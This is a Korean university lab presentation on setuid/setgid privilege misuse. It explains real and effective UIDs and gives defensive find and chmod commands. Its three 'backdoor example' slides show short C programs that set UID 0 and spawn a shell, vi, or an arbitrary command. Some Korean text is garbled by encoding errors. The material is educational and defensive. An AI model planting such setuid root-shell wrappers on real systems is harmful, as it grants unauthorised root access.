Execution with Unnecessary Privileges System & Network Security Lab 석사 25기 유창훈 2013.6.5
목차 소개 취약 가능성 취약가능성 분석 백 도어 예제 대응방법 Q&A
소개 “위대한 힘에는 커다란 책임이 따른다” 스파이더맨이라는 맊화 속의 유명핚 슈퍼히어로는 "위대핚 힘에는 커다띾 책임이 따른다"는 좌우명을 실첚합니다. 소프트웨어 역시 특정 작업을 수행하기 위해 특별핚 권핚을 필요로 핛 수 있지맊, 이 같은 권핚을 필요 이상 오랪동앆 행사하면 매우 위험핛 수 있습니다.
취약가능성
취약가능성 분석 리눅스 명령어 실행 절차 현재 작업 디렉토리에서 실행파일 찾음. $PATH에서 실행파일 찾음 찾은 후 실행권한 체크 권한이 있다면 실행시킨 사용자의 UID로 실행 권한이 없으면 실행 실패 실행시 이 파일이 SetUID bit가 있는지 확인 SetUID bit가 있다면 명령어 소유주의 EUID로 실행 유닉스는 멀티운영체제 따라서 사용자별로 권한을 나누어 줌. 한 사람이 한대의 컴퓨터를 사용할 때는 퍼미션의
취약가능성 분석 UserID GroupID Effective user ID, Effective group ID /etc/passwd GroupID /etc/group Effective user ID, Effective group ID 컴퓨터 시스템에 등록된 각 사용자들은 사용자 이름(user name) 과 사용자ID(user ID) 에 의해 구분된다. 사용자 이름과 그에 해당하는 사용자 ID는 데이터베이스에 저장되어 있다. /etc/passwd 사용자는 그룹 안에 분류된다. 그룹 ID 또는 그룹 이름에 대한 정보를 어떻게 찾는지 나와있다. /etc/group 사용자는 uid와 euid를 갖는다. Real UID와 Effective UID 라고 불리는데 Real UID는 파일을 실행시키는 유저의 ID Effective UID 는 파일이 실행되었을 때 실제 억세스 제어에 관련된 ID 모든 프로그램이 실행될때 연결된 파일에 접근 권한 같은 것은 euid에 따라 결정됩니다. 일반적으로 두개가 같지만 다른경우가 있다 passwd, mount , ping과 같은 것들이 그 예이다. Effective id가 root라면 이미 root권한으로 할 수 있는 일은 모두 할 수 있다. 다만 쉘을 떨어뜨릴라면 쉘실행시 realuid를 그대로 상속받는다.
취약가능성 분석 왜 프로세스의 권한을 변경하는가? TEST라는 파일의 소유자가 root 이고 SeT UID가 걸려있을때 동작과정
취약가능성 분석 권한 변경 방법 Setuid 비트 Setgid 비트 example -rwsr-sr-x 1 root yoo ……… 소유자계정으로 변화하고 싶은 파일에 소유자가 setuid setgid를 셋팅해 놓아야지만 가능하다.
백 도어 예제 - 1) #include <stdio.h> Int main() { setuid(0); setgid(0); system(“/bin/sh”); } 소유자계정으로 변화하고 싶은 파일에 소유자가 setuid setgid를 셋팅해 놓아야지만 가능하다.
백 도어 예제 - 2) #include <stdio.h> Int main() { setuid(0); setgid(0); system(“/bin/vi”); } 소유자계정으로 변화하고 싶은 파일에 소유자가 setuid setgid를 셋팅해 놓아야지만 가능하다.
백 도어 예제 - 3) #include <stdio.h> Int main(int argc, char * argv[] ) { char exec[100]; setuid(0); setgid(0); sprintf(exec, “%s 2>/dev/null”, argv[1]); system(exec); } 소유자계정으로 변화하고 싶은 파일에 소유자가 setuid setgid를 셋팅해 놓아야지만 가능하다.
대응방안 setuid / setgid 걸린 파일 찾아내기 setuid / setgid bit걸린 파일 관리 “find / -user root –perm -4000 2>/dev/null” “find / -user root –perm -2000 2>/dev/null” “chmod –s filename” setuid / setgid bit걸린 파일 관리 md5sum과 diff를 이용 보안에 취약한 root 소유의 setuid 파일들의 경우 꼭 필요한 파일을 제외하고는 그 외 setuid, setgid파일에 대하여 속성을 제거해 준다. 설정제거해야할 목록은 위와 같고 어플리케이션 및 사용자가 임의로 생성한 파일등 특이한 파일을 발견시에도 Setuid를 제거해야하는데 OS및 응용프로그램의 서비스 정상 유무를 파악하면서 신중히 진행해야함. 추가적으로
대응방안 시스템에서 특정프로세스의 실행 중 권한상승을 체크하는 메커니즘. setuid() setgid()함수 사용여부 체크
Q&A 감사합니다.